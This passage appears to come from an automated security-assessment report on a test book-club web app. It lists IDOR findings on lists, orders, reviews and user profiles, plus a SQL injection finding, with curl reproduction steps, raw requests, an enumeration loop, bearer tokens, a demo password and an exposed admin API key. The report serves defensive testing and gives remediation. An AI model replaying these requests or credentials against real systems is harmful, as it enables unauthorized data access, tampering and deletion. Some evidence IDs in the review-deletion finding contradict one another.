Host: marginalia.testinvicti.com
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIwNzEsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OTM2NTcwMDUsImV4cCI6MTc5Mzc0MzQwNX0.YCnuV6V6xgEris2RIZTq7u2z5Z-vSV2UJBZ4KwvV8iQ
Accept: */*
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
```

```
Content-Length: 289

{"id":1,"user_id":2,"name":"Autumn Auction — reserve
list","visibility":"private","created_at":1700000000,"items":[{"id":4,"title":"Rare
Marginalia, Vol. II (working draft)","author":"R. Okonkwo"},{"id":8,"title":"Provenance
file: HMS Terror log (appraisal copy)","author":"T. Mercer"}]}
```

STEPS TO REPRODUCE

1. Register a new user to obtain a JWT token:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/auth/register \
     -H "Content-Type: application/json" \
     -d '{"username":"idortest","email":"idortest@test.com","password":"TestPass123!"}'
   ```

   The response contains a `token` field with a JWT for the new member account.

2. Send an authenticated request to read a private list owned by a different user:

   ```
   curl -s -D- https://marginalia.testinvicti.com/api/lists/1 \
     -H "Authorization: Bearer <token>"
   ```

   The server returns HTTP 200 with the full list object including `"user_id":2` and `"visibility":"private"`, proving the list belongs to another user.

3. Confirm that unauthenticated access is denied:

   ```
   curl -s -D- https://marginalia.testinvicti.com/api/lists/1
   ```

   The server returns HTTP 401 with `{"detail":"unauthenticated"}`, confirming authentication is enforced but object-level authorization is missing.

SEVERITY JUSTIFICATION

The vulnerability requires only low privileges (any registered member) and no user interaction. It exposes private data belonging to other users with high confidentiality impact. The CVSS 4.0 vector scores this as high severity. Integrity and availability are unaffected because the endpoint is read-only.

DISCOVERY & EXPLOITATION

The `GET /api/lists/{list_id}` endpoint performs authentication correctly, returning HTTP 401 for unauthenticated requests, but the handler performs no subsequent check that the authenticated user's identity matches the `user_id` field of the requested list. The `list_id` path parameter is a small sequential integer, and the server resolves it directly against the data store without consulting the requesting user's `sub` claim. A list's `visibility` field is stored and returned in the response but is never evaluated server-side to gate access, making it a display attribute rather than an access control mechanism.

An authenticated attacker iterates sequential integer values in the `list_id` path segment to enumerate every list in the system. Because identifiers are small integers, a complete sweep of all lists requires only a trivial number of requests. The confirmed test case used a freshly registered account (user_id=2088) to

retrieve list 1 (user_id=2, visibility=private) and list 3 (user_id=5, visibility=private), both returning HTTP 200 with full list contents. Unlike sibling IDOR vulnerabilities on review and annotation endpoints, the lists endpoint exposes commercially sensitive data, specifically auction reserve records and insured-item provenance files, making bulk enumeration directly actionable for financial harm rather than merely a privacy exposure.

IMPACT

An attacker with any valid account can enumerate and read every private reading list in the system. Exposed data includes list names, item titles, and author names. In this application the lists contain sensitive auction reserve information and insured-item records. Bulk enumeration of sequential list identifiers is trivial because the identifiers are small integers.

REMEDIATION

1. Add an authorization check in the `GET /api/lists/{list_id}` handler that compares the authenticated user's `sub` claim against the list's `user_id` before returning data.
2. Return HTTP 403 or 404 when the requesting user does not own the list and the list visibility is `private`.
3. If lists support a `public` visibility, allow unauthenticated or cross-user reads only for that visibility level.
4. Write integration tests that assert a member cannot read another member's private list and receives 403.
5. Adopt a centralized authorization middleware or policy engine (such as OPA or Casbin) to enforce object-level access control across all endpoints.

INV-29

IDOR in order_id Parameter

HIGH

SEVERITY	CATEGORY	CWE
High	Broken Access Control	CWE-639

ENDPOINT

`https://marginalia.testinvicti.com/api/orders/1`

PARAMETER	CVSS 4.0
order_id	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The GET /api/orders/{order_id} endpoint does not verify that the authenticated user owns the requested order. Any authenticated user can supply an arbitrary order_id path parameter and receive the full order record. The server returns order details for any valid order_id regardless of the caller's identity. A user with id 2105 (role: member) retrieved order 1, which belongs to user_id 3, and order 17, which belongs to user_id 2097. The same user's own orders collection at GET /api/orders returns an empty array, proving the user has no orders of their own. The response includes sensitive fields: shipping address, financial totals, coupon codes, and order status.

EVIDENCE

Payload used:

```
1
```

Observed:

```
User2 (id=2105, member) accessed order 1 belonging to user_id=3, receiving full order details including shipping address "1 Sample Ave, Testville, CA 90000", financial data (total_cents=1499), and coupon_code. User2's own orders collection at GET /api/orders returns empty array, confirming user2 owns no orders. The same user also accessed order 17 (user_id=2097) with identical success.
```

HTTP TRANSACTION

REQUEST

```
GET /api/orders/1 HTTP/1.1
Host: marginalia.testinvicti.com
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIxMDUsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OTM2NTc5ODgsImV4cCI6MTc5Mzc0NDM4OH0.Tac6w01uflfCS9TV3D9J4Khzr-aTpkNgi33mbS1fNbA
Accept: */*
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 193

{"id":1,"user_id":3,"book_id":1,"quantity":1,"unit_price_cents":1499,"total_cents":1499
,"coupon_code":null,"status":"paid","ship_to":"1 Sample Ave, Testville, CA
90000","created_at":1700000000}
```

STEPS TO REPRODUCE

1. Authenticate as a regular member user and obtain a JWT Bearer token. Confirm the user owns no orders by requesting the orders collection:

   ```
   curl -s "https://marginalia.testinvicti.com/api/orders" \
     -H "Authorization: Bearer <your_jwt_token>"
   ```

   The server responds with `{"orders":[]}`, confirming the user has no orders.

2. Request another user's order by supplying a foreign order_id:

   ```
   curl -s "https://marginalia.testinvicti.com/api/orders/1" \
     -H "Authorization: Bearer <your_jwt_token>"
   ```

   The server responds with HTTP 200 and the full order object including `"user_id":3`, `"ship_to":"1 Sample Ave, Testville, CA 90000"`, and `"total_cents":1499`. The `user_id` in the response differs from the authenticated user, proving the access control check is missing.

SEVERITY JUSTIFICATION

The vulnerability requires only low privileges (any authenticated member account) and no user interaction. It exposes high-confidentiality data (shipping addresses, financial details, coupon codes) for every order in the system. The attack complexity is low because order IDs are sequential integers. Integrity and availability are not affected because the endpoint is read-only.

DISCOVERY & EXPLOITATION

The `GET /api/orders/{order_id}` endpoint accepts a sequential integer path parameter and returns the full order record without verifying that the authenticated requestor owns the referenced order. The server loads the order by ID alone and returns it with HTTP 200 regardless of whether the caller's JWT `sub` claim matches the order's `user_id` field. The absence of this ownership check is confirmed by the fact that user 2105, whose own orders collection returns an empty array, successfully retrieved orders belonging to user_id 3 and user_id 2097.

The financial context of this endpoint distinguishes it from sibling IDOR vulnerabilities against annotations, reviews, and lists. An authenticated attacker iterating sequential integer order IDs harvests not only purchase history but also physical shipping addresses, exact payment amounts, and coupon codes, all in a single unauthenticated-to-owner read. Coupon codes extracted this way can be replayed against the attacker's own account, compounding the financial exposure beyond pure data disclosure.

IMPACT

An attacker with any valid account can enumerate all order IDs and read every customer's order data. Exposed fields include physical shipping addresses, payment amounts, coupon codes, and purchase history. This violates customer privacy and may breach data-protection regulations. An attacker can harvest addresses for social engineering or fraud.

REMEDIATION

1. Add an ownership check in the GET /api/orders/{order_id} handler: after loading the order, verify that `order.user_id` equals the authenticated user's `sub` claim from the JWT. Return 403 or 404 when they differ.
2. For admin access, require the `admin` role explicitly before allowing cross-user order reads.
3. Replace sequential integer order IDs with UUIDs to reduce enumeration risk, but do not rely on this as the sole access control.
4. Add integration tests that assert a non-owner receives 403 or 404 when requesting another user's order.
5. Adopt a centralized authorization middleware or policy engine (such as OPA or Casbin) to enforce object-level authorization across all resource endpoints.

INV-30

IDOR in review_id via PATCH

HIGH

SEVERITY	CATEGORY	CWE
High	Broken Access Control	CWE-639

ENDPOINT

`https://marginalia.testinvicti.com/api/reviews/6461`

PARAMETER	CVSS 4.0
review_id	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The PATCH /api/reviews/{review_id} endpoint enforces authentication but does not verify that the authenticated user owns the review. Any authenticated user can modify any other user's review by supplying the target review ID in the URL path. The server accepts the request and returns HTTP 200 with a confirmation body. The attacker (user id=2099, role=member) modified review id=6461, which belongs to user id=2102. An unauthenticated request to the same endpoint returns 401, which proves authentication is enforced. The missing check is object-level authorization.

EVIDENCE

Payload used:

```
6461
```

Observed:

```
Attacker (user id=2099, role=member) successfully modified victim's review (id=6461,
user_id=2102) by sending PATCH /api/reviews/6461 with body
{"title":"BOLA_fdpe2d_proof"}. Server returned 200 {"status":"updated","id":6461}.
Verification confirmed title was changed. Unauthenticated PATCH returns 401, proving
authentication is enforced but object-level authorization is missing.
```

HTTP TRANSACTION

REQUEST

```
PATCH /api/reviews/6461 HTTP/1.1
Host: marginalia.testinvicti.com
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIwOTksInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OT
M2NTc3ODgsImV4cCI6MTc5Mzc0NDE4OH0.dIDqCZcdLqWdYMGb3d_NCHNfbVA189ZRnyl3LG82elU
Content-Type: application/json
Content-Length: 29

{"title":"BOLA_fdpe2d_proof"}
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 22:19:45 GMT
Content-Type: application/json
Content-Length: 30

{"status":"updated","id":6461}
```

STEPS TO REPRODUCE

1. Send a PATCH request as the attacker (user id=2099) to modify the victim's review:

   ```
   curl -X PATCH https://marginalia.testinvicti.com/api/reviews/6461 \
     -H "Authorization: Bearer
   eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIwOTksInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE
   3OTM2NTc3ODgsImV4cCI6MTc5Mzc0NDE4OH0.dIDqCZcdLqWdYMGb3d_NCHNfbVA189ZRnyl3LG82elU" \
     -H "Content-Type: application/json" \
     -d '{"title":"BOLA_fdpe2d_proof"}'
   ```

   The server responds with HTTP 200 and body `{"status":"updated","id":6461}`, confirming the attacker modified a review owned by a different user (user_id=2102).

2. Verify that unauthenticated access is denied by sending the same request without the Authorization header:

   ```
   curl -X PATCH https://marginalia.testinvicti.com/api/reviews/6461 \
     -H "Content-Type: application/json" \
     -d '{"title":"BOLA_fdpe2d_proof"}'
   ```

   The server responds with HTTP 401 and body `{"detail":"unauthenticated"}`, proving authentication is enforced but object-level authorization is not.

SEVERITY JUSTIFICATION

The vulnerability requires only low privileges (any authenticated user) and no user interaction. The attack complexity is low because the attacker only needs to enumerate or guess review IDs. The integrity impact on the vulnerable system is high because the attacker can modify arbitrary review content. Confidentiality and availability are not directly affected. This aligns with a high severity rating.

DISCOVERY & EXPLOITATION

The PATCH `/api/reviews/{review_id}` endpoint accepts a session-authenticated request and routes it directly to the review record identified by the path parameter, without verifying that the authenticated user's identity matches the `user_id` stored on that record. Authentication is enforced at the boundary — unauthenticated requests receive HTTP 401 — but the authorization check stops there. No ownership assertion is made before the update is committed, meaning any valid session token is sufficient to overwrite any review in the system.

An authenticated attacker iterates over sequential or enumerated review IDs and issues PATCH requests against records belonging to other users. The confirmed case demonstrates user id=2099 (role=member) successfully modifying review id=6461, owned by user id=2102, receiving HTTP 200 and

`{"status":"updated","id":6461}`. At scale, this enables systematic content replacement across the platform's review corpus without requiring elevated privileges or any interaction from the targeted users.

IMPACT

An authenticated attacker can tamper with any user's book review content. This enables defacement of user-generated content, reputation manipulation, and trust erosion. An attacker could alter review titles and text across the platform at scale. Business impact includes loss of content integrity and user trust.

REMEDIATION

1. Add an authorization check in the PATCH `/api/reviews/{review_id}` handler that compares the authenticated user's ID against the review's `user_id` before allowing modification.
2. Return HTTP 403 Forbidden when the authenticated user does not own the requested review.
3. Apply the same object-level authorization check to DELETE `/api/reviews/{review_id}` and any other review mutation endpoints.
4. Write integration tests that attempt cross-user review modification and assert a 403 response.
5. Adopt a centralized authorization middleware or policy layer (e.g., FastAPI dependency injection) to enforce object ownership checks consistently across all per-user resource endpoints.

INV-31

IDOR in review_id via PATCH

HIGH

SEVERITY	CATEGORY	CWE
High	Broken Access Control	CWE-639

ENDPOINT

`https://marginalia.testinvicti.com/api/reviews/7712`

PARAMETER	CVSS 4.0
review_id	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The PATCH /api/reviews/{review_id} endpoint enforces authentication but does not verify that the authenticated user owns the target review. Any authenticated member can modify any other user's review by supplying an arbitrary review_id in the URL path. The server returns HTTP 200 with a success confirmation and persists the change. The review's user_id remains unchanged, so the original author appears responsible for content they did not write. An unauthenticated request returns 401, which confirms that authentication is enforced but object-level authorization is absent.

EVIDENCE

Payload used:

```
7712
```

Observed:

```
User A (user_id=2120, role=member) sent PATCH /api/reviews/7712 with body
{"body":"BOLA_PROOF_fZ2JY8Tvl2rgpnov"} and received HTTP 200
{"status":"updated","id":7712}. Review 7712 belongs to User B (user_id=2122). After the
PATCH, reading book 2's reviews confirmed review 7712's body was changed to
"BOLA_PROOF_fZ2JY8Tvl2rgpnov" while user_id remained 2122. Unauthenticated PATCH
returns 401, proving authentication is enforced but ownership is not checked.
```

HTTP TRANSACTION

REQUEST

```
PATCH /api/reviews/7712 HTTP/1.1
Host: marginalia.testinvicti.com
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIxMjAsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OT
M2NTg0NTEsImV4cCI6MTc5Mzc0NDg1MX0.x0P4pnXN7K5cBYn0UXElV9w2Z1noCyPM_dGH4k3GT_E
Content-Type: application/json
Content-Length: 38

{"body":"BOLA_PROOF_fZ2JY8Tvl2rgpnov"}
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 22:34:14 GMT
Content-Type: application/json
Content-Length: 30

{"status":"updated","id":7712}
```

STEPS TO REPRODUCE

1. Send a PATCH request as User A (user_id=2120) to modify User B's review (review_id=7712):

   ```
   curl -X PATCH https://marginalia.testinvicti.com/api/reviews/7712 \
     -H "Authorization: Bearer <User_A_JWT_token>" \
     -H "Content-Type: application/json" \
     -d '{"body":"BOLA_PROOF_marker"}'
   ```

   The server responds with HTTP 200 and `{"status":"updated","id":7712}`, confirming the modification succeeded.

2. Verify the change persisted and the review still belongs to User B:

   ```
   curl https://marginalia.testinvicti.com/api/books/2
   ```

   In the response, review 7712 shows `"body":"BOLA_PROOF_marker"` while `"user_id":2122` remains User B's ID.

3. Confirm that unauthenticated requests are denied:

   ```
   curl -X PATCH https://marginalia.testinvicti.com/api/reviews/7712 \
     -H "Content-Type: application/json" \
     -d '{"body":"BOLA_PROOF_marker"}'
   ```

   The server responds with `{"detail":"unauthenticated"}`, proving authentication is enforced but ownership is not.

SEVERITY JUSTIFICATION

The vulnerability requires only low privileges (any authenticated member) and no user interaction. The attack complexity is low because the attacker only needs to guess or enumerate review IDs. The integrity impact on the vulnerable system is high because any review can be arbitrarily modified. Confidentiality and availability are not directly affected.

DISCOVERY & EXPLOITATION

The PATCH `/api/reviews/{review_id}` endpoint accepts a review identifier directly in the URL path and uses it to locate the target record without verifying that the authenticated requester owns it. The server performs an authentication check — unauthenticated requests receive HTTP 401 — but the authorization boundary stops there. No ownership comparison is made between the session's user identity and the

`user_id` field stored on the review record. Because review IDs are sequential integers (the confirmed example is review 7712), the full corpus of user reviews is enumerable by incrementing the path parameter.

An authenticated attacker exploits this by issuing PATCH requests against arbitrary review IDs belonging to other users, substituting their own content for the original rating, title, and body. The original `user_id` is preserved on the record, so the platform continues to attribute the modified content to the legitimate author. This attribution gap is what distinguishes this vector from simple defacement: the attacker's identity is never recorded, and the victim has no indication their review was altered.

IMPACT

An authenticated attacker can modify or deface any user's book review. The attacker can alter ratings, review titles, and review bodies across the platform. This undermines content integrity and user trust. An attacker could inject misleading or malicious content attributed to other users. Competitors could manipulate product reviews to influence purchasing decisions.

REMEDIATION

1. Add an ownership check in the PATCH /api/reviews/{review_id} handler that compares the authenticated user's ID against the review's `user_id` before allowing modification.
2. Return HTTP 403 when the authenticated user does not own the requested review.
3. Add integration tests that attempt cross-user review modification and assert a 403 response.
4. Apply the same ownership check to DELETE /api/reviews/{review_id} and any other per-user mutation endpoints.
5. Adopt a centralized authorization middleware or policy engine to enforce object-level access control across all resource endpoints.

INV-32

IDOR in review_id via DELETE

HIGH

SEVERITY	CATEGORY	CWE
High	Broken Access Control	CWE-639

ENDPOINT

`https://marginalia.testinvicti.com/api/reviews/8054`

PARAMETER	CVSS 4.0
review_id	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The DELETE /api/reviews/{review_id} endpoint enforces authentication but does not verify that the authenticated user owns the targeted review. Any authenticated member can delete any other user's review by supplying its numeric identifier. The server returns a 200 response with a JSON body confirming the deletion. An unauthenticated request returns 401, which shows that the application checks for a valid JWT but never compares the token's subject (sub) claim against the review's owner (user_id).

EVIDENCE

Payload used:

```
8054
```

Observed:

```
User A (id=2124, role=member) successfully deleted User B's (id=2129) review by sending
DELETE /api/reviews/7805. Response: {\"status\":\"deleted\",\"id\":7805}.
Unauthenticated DELETE returns 401 (authentication enforced but ownership not checked).
Review 7805 belonged to User B (user_id=2129) as confirmed from GET /api/books/3 review
listing.
```

HTTP TRANSACTION

REQUEST

```
DELETE /api/reviews/8054 HTTP/1.1
Host: marginalia.testinvicti.com
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIxMjQsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OT
M2NTg4MTEsImV4cCI6MTc5Mzc0NTIxMX0.4e2J3qn6bHwv1qQU8LW4ReYphrrW8mhx24FypDx9L1g
Accept: */*
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 30
```

```
{"status":"deleted","id":8054}
```

STEPS TO REPRODUCE

1. Register two users (User A and User B) by sending POST requests to `/api/auth/register`:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/auth/register \
     -H 'Content-Type: application/json' \
     -d '{"username":"userA","email":"userA@test.com","password":"TestPass123!"}'
   ```

   Repeat with different credentials for User B. Note the returned user IDs.

2. Log in as both users to obtain JWT tokens:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/auth/login \
     -H 'Content-Type: application/json' \
     -d '{"email":"userB@test.com","password":"TestPass123!"}'
   ```

   Save the `token` value from each response.

3. As User B, create a review on a book:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/books/3/reviews \
     -H 'Content-Type: application/json' \
     -H 'Authorization: Bearer <USER_B_TOKEN>' \
     -d '{"rating":4,"body":"Test review"}'
   ```

   The server responds with a confirmation.

4. Retrieve book 3 to find User B's review ID and confirm ownership:

   ```
   curl https://marginalia.testinvicti.com/api/books/3 \
     -H 'Authorization: Bearer <USER_A_TOKEN>'
   ```

   Locate the review with `user_id` matching User B. Note its `id`.

5. As User A, delete User B's review:

   ```
   curl -X DELETE https://marginalia.testinvicti.com/api/reviews/<REVIEW_ID> \
     -H 'Authorization: Bearer <USER_A_TOKEN>'
   ```

   The server responds with `{"status":"deleted","id":<REVIEW_ID>}` and HTTP 200, confirming cross-user deletion.

6. Verify the review no longer exists by fetching book 3 again. The review count decreases by one and User B's review is absent from the list.

SEVERITY JUSTIFICATION

The vulnerability requires only low privileges (any authenticated member) and no user interaction. It allows arbitrary deletion of other users' data, resulting in high integrity impact. Confidentiality and availability are not directly affected. The CVSS 4.0 vector yields a high severity rating consistent with the destructive, easily exploitable nature of this flaw.

DISCOVERY & EXPLOITATION

The DELETE `/api/reviews/{review_id}` endpoint is vulnerable because the server's authorization logic terminates at authentication: it verifies the presence of a valid JWT but never compares the token's `sub` claim against the `user_id` field of the targeted review record. The numeric `review_id` path parameter is treated as a sufficient address for the operation, with no ownership gate between a valid session and arbitrary deletion. The agentic validation confirmed this directly: User A (id=2136) successfully deleted a review owned by User B (id=2137), receiving a `200 {"status":"deleted","id":8722}` response, while the book's review count decremented from 1552 to 1551 — a server-side state change confirming permanent data destruction.

What distinguishes this endpoint from sibling review vulnerabilities (INV-31, INV-30) is the destructive, irreversible nature of the HTTP method. Where read or write IDOR operations can be detected and rolled back, a DELETE operation permanently removes the resource. An authenticated attacker with any valid account can enumerate review IDs and systematically purge reviews at scale, requiring no elevated privileges and leaving no recoverable state.

IMPACT

Any authenticated user can delete arbitrary reviews belonging to other users. An attacker can censor negative reviews on products, manipulate average ratings, or remove competitor content. This undermines data integrity and user trust in the review system. Repeated exploitation can destroy the entire review dataset.

REMEDIATION

1. Add an ownership check in the DELETE /api/reviews/{review_id} handler: load the review, compare its `user_id` to the JWT `sub` claim, and return 403 if they differ.
2. Allow admin-role users to bypass the ownership check when legitimate moderation is needed.
3. Write integration tests that register two users, create a review as User B, and assert that User A receives 403 when attempting to delete it.
4. Apply the same ownership validation to PATCH /api/reviews/{review_id} and any other per-user mutation endpoints.
5. Add a centralized authorization middleware or decorator that enforces object-level ownership checks across all resource-mutation routes.

INV-33

IDOR in user_id Parameter

HIGH

SEVERITY	CATEGORY	CWE
High	Broken Access Control	CWE-639

ENDPOINT

`https://marginalia.testinvicti.com/api/users/1`

PARAMETER	CVSS 4.0
user_id	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The GET /api/users/{user_id} endpoint does not verify that the authenticated user owns or has permission to view the requested profile. Any authenticated member can supply an arbitrary user_id path parameter and retrieve the full profile of any other user, including administrators. The server returns sensitive fields such as email, phone number, home address, live API key, role, and credit balance. Unauthenticated requests receive a 401 response, so the endpoint enforces authentication but not authorization. The user_id values are sequential integers (1 through 5), which makes enumeration trivial.

EVIDENCE

Payload used:

```
1
```

Observed:

```
Authenticated member (user id=3, role=member) accessed admin user's full profile (id=1)
containing PII: email ops@marginalia.club, phone +1-415-555-0142, address 2261 Market
St San Francisco CA 94114, API key mk_live_9f2c1a7be4d84c0f9a1b3e6d7c208f11, credits
500201. The same member can enumerate all users (ids 1-5) and retrieve their personal
data. Unauthenticated requests are correctly denied with 401.
```

HTTP TRANSACTION

REQUEST

```
GET /api/users/1 HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjMsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OTM2NT
Q5MDQsImV4cCI6MTc5Mzc0MTMwNH0.GL5-OekT4v8l6qLIXCxwwc6CauHQ-EZjlfuqhqPjhv4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 278

{"id":1,"username":"admin","email":"ops@marginalia.club","role":"admin","full_name":"El
eanor Vance","phone":"+1-415-555-0142","address":"2261 Market St, San Francisco, CA
94114","bio":"Keeper of the
stacks.","credits":500201,"api_key":"mk_live_9f2c1a7be4d84c0f9a1b3e6d7c208f11"}
```

STEPS TO REPRODUCE

1. Authenticate as a member by sending a login request:

   ```
   curl -s -X POST https://marginalia.testinvicti.com/api/auth/login \
     -H "Content-Type: application/json" \
     -d '{"email":"demo@marginalia.club","password":"Demo2023!shelf"}'
   ```

   The server returns a JSON body containing a JWT `token` with `sub=3` and `role=member`. Save this token.

2. Request the admin user's profile using the member's token:

   ```
   curl -s https://marginalia.testinvicti.com/api/users/1 \
     -H "Authorization: Bearer <TOKEN_FROM_STEP_1>"
   ```

   The server responds with HTTP 200 and the full profile of user id=1 (admin Eleanor Vance), including `email`, `phone`, `address`, `api_key`, and `credits`.

3. Confirm unauthenticated access is denied:

   ```
   curl -s -w "
   %{http_code}" https://marginalia.testinvicti.com/api/users/1
   ```

   The server responds with HTTP 401 and `{"detail":"unauthenticated"}`, confirming that authentication is enforced but authorization is not.

4. Enumerate additional users to confirm the scope of the IDOR:

   ```
   for id in 2 3 4 5; do
     curl -s https://marginalia.testinvicti.com/api/users/$id \
       -H "Authorization: Bearer <TOKEN_FROM_STEP_1>" | jq .full_name,.email,.api_key
   done
   ```

   The server returns full PII and API keys for all users (ids 2 through 5).

SEVERITY JUSTIFICATION

The vulnerability requires only low privileges (any authenticated member account) and no user interaction. It exposes high-confidentiality data including PII, API keys, and financial balances for all users. The CVSS 4.0 vector reflects network-accessible, low-complexity, low-privilege access with

high confidentiality impact on the vulnerable system. Integrity and availability are not affected because the endpoint is read-only.

DISCOVERY & EXPLOITATION

The `GET /api/users/{user_id}` endpoint accepts a sequential integer path parameter and resolves it directly to a user record without comparing the resolved identity against the authenticated caller's JWT `sub` claim. The server correctly rejects unauthenticated requests with a 401, but once a valid token is present, no object-level authorization check is performed. Because user IDs are sequential integers starting at 1, the full user table is enumerable with a trivial loop across a small integer range.

What distinguishes this endpoint from sibling IDOR vulnerabilities in this assessment is the severity of the data returned per record. Unlike annotation or review endpoints that expose user-generated content, the user profile response includes live API keys, home addresses, phone numbers, credit balances, and role assignments for every account on the platform, including the administrator. An authenticated member can retrieve the admin account's live API key (`mk_live_9f2c1a7be4d84c0f9a1b3e6d7c208f11`) in a single request, then use that key to authenticate as the administrator against any API surface that accepts key-based auth, effectively achieving full privilege escalation without exploiting any additional vulnerability.

IMPACT

An attacker with any valid member account can read every user's personal data. Exposed fields include email addresses, phone numbers, home addresses, and live API keys. The admin API key (mk_live_9f2c1a7be4d84c0f9a1b3e6d7c208f11) grants the attacker potential access to privileged operations. Credit balances reveal financial information. This constitutes a full breach of user privacy across the platform.

REMEDIATION

1. Add an authorization check in the GET /api/users/{user_id} handler that compares the JWT `sub` claim against the requested `user_id` . Deny access with 403 when they differ, unless the caller has the `admin` role.
2. Remove sensitive fields (`api_key` , `phone` , `address` , `credits`) from the response for non-owner requests. Return only public profile fields such as `username` , `bio` , and `role` .
3. Replace sequential integer IDs with UUIDs for user identifiers to prevent trivial enumeration.
4. Add integration tests that assert a member cannot read another user's profile and that sensitive fields are absent from cross-user responses.
5. Adopt a centralized authorization middleware (such as a FastAPI dependency) that enforces object-level access control on all per-user endpoints.

INV-34

SQL Injection in q Parameter

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-89

ENDPOINT

`https://marginalia.testinvicti.com/api/shelf`

PARAMETER	CVSS 4.0
q	8.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The `/api/shelf` endpoint concatenates the `q` query parameter directly into a SQL string without parameterization. The application passes this constructed SQL to `conn.execute(sql)` in the `my_shelf` function at `/opt/marginalia/app/main.py` line 1664. A single quote in the `q` parameter breaks the SQL literal and causes a `sqlite3.OperationalError` with the message "non-terminated literal at (1, 142)". The server returns the full Python traceback in the JSON response body. This confirms the user input reaches the SQLite query engine without sanitization or parameterized binding. The backend uses `libsql_client` with a SQLite database at `/var/lib/marginalia/marginalia.db`.

EVIDENCE

Payload used:

```
'
```

Observed:

```
GOOD (q='): status=500, body contains "sqlite3.OperationalError" and "SQL_PARSE_ERROR:
SQL string could not be parsed: non-terminated literal at (1, 142)". BAD (q=empty):
status=200, body={"user_id":1,"query":"","shelf":[]}. The SQLite error is absent from
the clean baseline.
```

HTTP TRANSACTION

REQUEST

```
GET /api/shelf?q=%27&sort=s.created_at&user_id=1 HTTP/1.1
Host: marginalia.testinvicti.com
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIxMzMsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OT
M2NTg3NTUsImV4cCI6MTc5Mzc0NTE1NX0.hp2BhWDCd7pti2CgQo85hVPyJ7Rmmleba0iIVXXFSb4
Accept: */*
```

RESPONSE

```
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
```

```
Content-Length: 8340

{"error":"internal_error","detail":"SQL_PARSE_ERROR: SQL string could not be parsed:
non-terminated literal at (1, 142)","trace":"Traceback (most recent call last):\n
...\n  File \"/opt/marginalia/app/main.py\", line 1664, in my_shelf\n    rows =
conn.execute(sql).fetchall()\n           ^^^^^^^^^^^^^^^^\n  File
\"/opt/marginalia/app/libsql_client.py\", line 65, in execute\n    raise
sqlite3.OperationalError(str(exc)) from exc\nsqlite3.OperationalError: SQL_PARSE_ERROR:
SQL string could not be parsed: non-terminated literal at (1, 142)\n",
[... truncated ...]}
```

STEPS TO REPRODUCE

1. Send a request with a single quote in the q parameter to trigger the SQL Injection error:

   ```
   curl "https://marginalia.testinvicti.com/api/shelf?
   q=%27&sort=s.created_at&user_id=1" \
     -H "Authorization: Bearer <your_jwt_token>"
   ```

   The server responds with HTTP 500 and a JSON body containing `sqlite3.OperationalError` and the message `SQL_PARSE_ERROR: SQL string could not be parsed: non-terminated literal at (1, 142)`.

2. Send the same request with an empty q parameter as a control:

   ```
   curl "https://marginalia.testinvicti.com/api/shelf?q=&sort=s.created_at&user_id=1" \
     -H "Authorization: Bearer <your_jwt_token>"
   ```

   The server responds with HTTP 200 and a normal JSON body `{"user_id":1,"query":"","shelf":[]}`. The SQLite error is absent from this clean baseline.

SEVERITY JUSTIFICATION

The vulnerability requires low privileges (authenticated user) but has no attack complexity or user interaction requirements. The attacker gains full read access to the SQLite database (VC:H) and can modify data through SQL statements (VI:H). The CVSS 4.0 score reflects high confidentiality and integrity impact on the vulnerable system with network attack vector.

DISCOVERY & EXPLOITATION

